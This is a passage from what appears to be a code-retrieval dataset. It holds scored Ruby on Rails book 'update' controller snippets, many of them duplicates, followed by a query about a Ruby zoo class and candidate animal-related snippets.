status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b124337527ebe4831166325221ccf17", "score": "0.67084", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b124337527ebe4831166325221ccf17", "score": "0.67084", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b124337527ebe4831166325221ccf17", "score": "0.67084", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b124337527ebe4831166325221ccf17", "score": "0.67084", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b124337527ebe4831166325221ccf17", "score": "0.67084", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b124337527ebe4831166325221ccf17", "score": "0.67084", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8b124337527ebe4831166325221ccf17", "score": "0.67084", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7fd4807bb2af68a43560e1e23c03a179", "score": "0.6632085", "text": "def update\n respond_to do |format|\n data = api_book_params\n logger.info data\n if @api_book.update(data)\n format.html { redirect_to @api_book, notice: 'Book was successfully updated.' }\n format.json { render :show }\n else\n format.html { render :edit }\n format.json { render json: @api_book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a0cc0f7613b3c6b22e6c0d5c41b4486", "score": "0.6601974", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to \"http://5.135.175.184/books/#{@book.id}\", notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "02c3bf8a614d141c93acec9e8301214d", "score": "0.65837383", "text": "def update\n puts \"book id is \"\n puts \"#{book_params['book_id']}\"\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9a0ecb07586961df64b2be021cdedf77", "score": "0.65738094", "text": "def update\n if @book\n @book.update(book_params)\n render json: { message: 'Book succefully update' }, status: 200\n else\n render json: { error: 'unable update' }, status: 400\n end\n end", "title": "" }, { "docid": "761ea0813ff512b446202334e4960f89", "score": "0.65698534", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n\t\tformat.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n end\n end\n end", "title": "" }, { "docid": "a9f7fe980babaa287c807594810a5cf3", "score": "0.6562175", "text": "def update\n respond_to do |format|\n\n if @book.update(book_params)\n sync_update @book\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4413175768e669cd04c98111ed355018", "score": "0.6561063", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to books_path, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8fe3d6da5d35d4c0d21d721bb7a77b83", "score": "0.6557947", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render action: 'edit' }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "82807617e93b7580df63a0103f9444fe", "score": "0.6557352", "text": "def update\n respond_to do |format|\n if @request_book.update(request_book_params)\n format.html { redirect_to @request_book, notice: 'Request book was successfully updated.' }\n format.json { render :show, status: :ok, location: @request_book }\n else\n format.html { render :edit }\n format.json { render json: @request_book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c047285425a84bdc0502571f4aa116a", "score": "0.6554685", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to books_path, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4c047285425a84bdc0502571f4aa116a", "score": "0.6554685", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to books_path, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f66b2920c88fbc1a9f35bf28628180b4", "score": "0.655229", "text": "def update\n\trespond_to do |format|\nif @book.update(book_params)\n\tformat.html { redirect_to @book, notice: 'Book was successfully updated.' }\n\tformat.json { render :show, status: :ok, location: @book }\n\telse\n\tformat.html { render :edit }\n\tformat.json { render json: @book.errors, status: :unprocessable_entity }\n\tend\n\tend\n\tend", "title": "" }, { "docid": "acd777139955347ec7cec7a36f418f90", "score": "0.6545875", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: \"Book was successfully updated.\" }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7a20f406522b66b2a1e2ead307ebd7e3", "score": "0.65435743", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to @book, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "54ebcbeae60402a5022c713e9f2c8f74", "score": "0.65350956", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html {redirect_to @book, notice: 'Book was successfully updated.'}\n format.json {render :show, status: :ok, location: @book}\n else\n format.html {render :edit}\n format.json {render json: @book.errors, status: :unprocessable_entity}\n end\n end\n end", "title": "" }, { "docid": "c6f9fbded61b47617eb2de5223ee76f2", "score": "0.6534828", "text": "def update\n respond_to do |format|\n if @book.update(book_params)\n format.html { redirect_to books_url, notice: 'Book was successfully updated.' }\n format.json { render :show, status: :ok, location: @book }\n else\n format.html { render :edit }\n format.json { render json: @book.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
e1e930c2b0b7bf9f0ad8910b79e493a1
def add_animal(new_animal) cages.each do |cage| if cage.empty? cage.animal = new_animal return end end "Your zoo is already at capacity!" end
[ { "docid": "55e797cd8fd6e5677f9cbaebf883cb56", "score": "0.0", "text": "def visit\n visit_string = \"\"\n employees.each do |employee|\n visit_string += \"#{employee.greet}\\n\" \n end\n cages.each do |cage|\n if !cage.empty? \n visit_string += \"#{cage.animal.speak}\\n\"\n end\n end\n return visit_string\n end", "title": "" } ]
[ { "docid": "138c0e2f0e8817d815726942a0522aeb", "score": "0.7372739", "text": "def animal_add(animal)\n @animals << animal\n end", "title": "" }, { "docid": "6c06a3897fe991ec75249cec16a53f22", "score": "0.7106084", "text": "def animal_add(animal)\n @animals << animal\n end", "title": "" }, { "docid": "d2b1e3ec9a755e5b6e6b62b852cec046", "score": "0.7079674", "text": "def add_animal(animal)\n @animals.push(animal)\n end", "title": "" }, { "docid": "09b1ef3ce1a7c56c0b59cafa36c0385f", "score": "0.7012582", "text": "def add_animal\n puts \"What species are you bringing into the shelter?\"\n adopt_species = gets.chomp.downcase\n\n puts \"How old is the animal?\"\n adopt_age = gets.chomp.to_i\n shelter.animal << Animal.new(species, age)\n end", "title": "" }, { "docid": "b3df77d77b348210402b18fc601285bd", "score": "0.70108294", "text": "def adopt(animal)\n pets.push(animal) if animal\n end", "title": "" }, { "docid": "fb4b9a03ec50da07107d3aa576b057fb", "score": "0.699968", "text": "def add_new_animal\n\t\tadd_new_animal_again = true\n\t\twhile add_new_animal_again == true\n\n\t\t\tputs \"What's the animal's name?\"\n\t\t\tanimal_name = gets.chomp\n\n\t\t\tputs \"How old are they?\"\n\t\t\tanimal_age = gets.chomp.to_i\n\n\t\t\tputs \"Are they male or female?\"\n\t\t\tanimal_gender = gets.chomp.to_s.downcase!\n\n\t\t\tputs \"What species are they? Dog? Cat/etc?\"\n\t\t\tanimal_species = gets.chomp.to_s\n\n\t\t\tputs \"Do they have any toys? What are they?\"\n\t\t\tanimal_toys = gets.chomp.split(\",\")\n\n\t\t\tnew_animal = Animal.new(animal_name, animal_age, animal_gender, animal_species, animal_toys)\n\n\t\t\t@animal_list[new_animal.name.to_sym] = new_animal\n\n\t\t\tputs \"Animal #{new_animal.name} has been added successfully.\"\n\t\t\t\tputs\"\\n Add another animal? (Y)es (N)o - return to main menu\"\n\t\t\t\tanimal_try_again_input = gets.chomp.upcase\n\t\t\t\tadd_new_animal_again = false if animal_try_again_input != \"Y\"\n\t\tend\nend", "title": "" }, { "docid": "57239a28cb9884b064cc1ade728c12a3", "score": "0.6892429", "text": "def add_animal\n puts \"What is the animal's name?\"\n animal_name = gets.chomp\n puts \"What is the animal's species?\"\n species = gets.chomp\n animal = Animal.new(animal_name, species)\n self.all_animals().push(animal)\n end", "title": "" }, { "docid": "e42135edccdca20219aa0e3f3e368905", "score": "0.6887998", "text": "def add_pet(animal)\n @animals.push(animal)\n end", "title": "" }, { "docid": "4fbb6933ae7b0400ae23b1c73504f53b", "score": "0.6860447", "text": "def add_pet_to_customer(person, new_animal)\n person[:pets] << new_animal\nend", "title": "" }, { "docid": "06087aeff957a48311c749724f8bf98a", "score": "0.6854", "text": "def add_pet(pet)\n @animals << pet\n end", "title": "" }, { "docid": "3812f05a35fa565e1c29b4128ff23dcb", "score": "0.6828375", "text": "def add_animal\n name = get_answer_to(\"What's its name?\")\n species = get_answer_to(\"What species is #{name}\")\n new_animal = Animal.new(name, species)\n @animals << new_animal\n puts \"\"\n puts \"Great. You've added #{new_animal.name} to your collection of animals.\"\n end", "title": "" }, { "docid": "eb3deb5c861365c2032326a533832816", "score": "0.6820913", "text": "def add_pet(animal)\n\t\t@animals[animal.name] = animal\n\tend", "title": "" }, { "docid": "3ecf0b07014a93c4a1b3361aa27d6ed8", "score": "0.6721213", "text": "def add_animals(animal)\n @animals.push(animal)\n end", "title": "" }, { "docid": "5d450f67c3706283eab24a483aab5e20", "score": "0.6709119", "text": "def add(animal)\n @animals.push(animal)\n return save()\n end", "title": "" }, { "docid": "ea79b28af5a4de37609511909055c29d", "score": "0.6653584", "text": "def add_dog(dog)\n @dogs << dog\n end", "title": "" }, { "docid": "900c7a2af3987fc39bcd257182dc4775", "score": "0.6621664", "text": "def age!\n @age += 1\n if @age > 4\n 4.times do\n @basket << Egg.new \n end\n end\n end", "title": "" }, { "docid": "e98a9427171440553d00b97bcdbbc4db", "score": "0.6591528", "text": "def buy_dog(new_dog_name)\n new_dog = Dog.new(new_dog_name)\n @pets[:dogs] << new_dog\n end", "title": "" }, { "docid": "89ff13f941ed1ac410148b235fc19e50", "score": "0.6558967", "text": "def add_animal(animal_array)\n name = get_answer_to(\"What's the name of the animal?\")\n species = get_answer_to(\"What is the species of animal?\")\n animal = Animal.new(name, species)\n animal_array << animal\n puts \"\"\n puts \"Great. You've added #{animal.name} to your collection of animals.\"\nend", "title": "" }, { "docid": "d2a61a28eb6e70281f37ae53f4dca7f6", "score": "0.6481072", "text": "def initialize\n @@total_animals += 1\n @@cureent_animals << self\n end", "title": "" }, { "docid": "c2c6a280cce4635a11def9b93da923a5", "score": "0.6475041", "text": "def buy_cat(new_cat_name)\n new_cat = Cat.new(new_cat_name)\n @pets[:cats] << new_cat\n end", "title": "" }, { "docid": "c2c6a280cce4635a11def9b93da923a5", "score": "0.6475041", "text": "def buy_cat(new_cat_name)\n new_cat = Cat.new(new_cat_name)\n @pets[:cats] << new_cat\n end", "title": "" }, { "docid": "9fe50c6b6bed57fded13adc306ca5ded", "score": "0.64613295", "text": "def age!\r\n @age += 1\r\n if @age >= 4\r\n 4.times {@basket << Egg.new}\r\n end\r\n end", "title": "" }, { "docid": 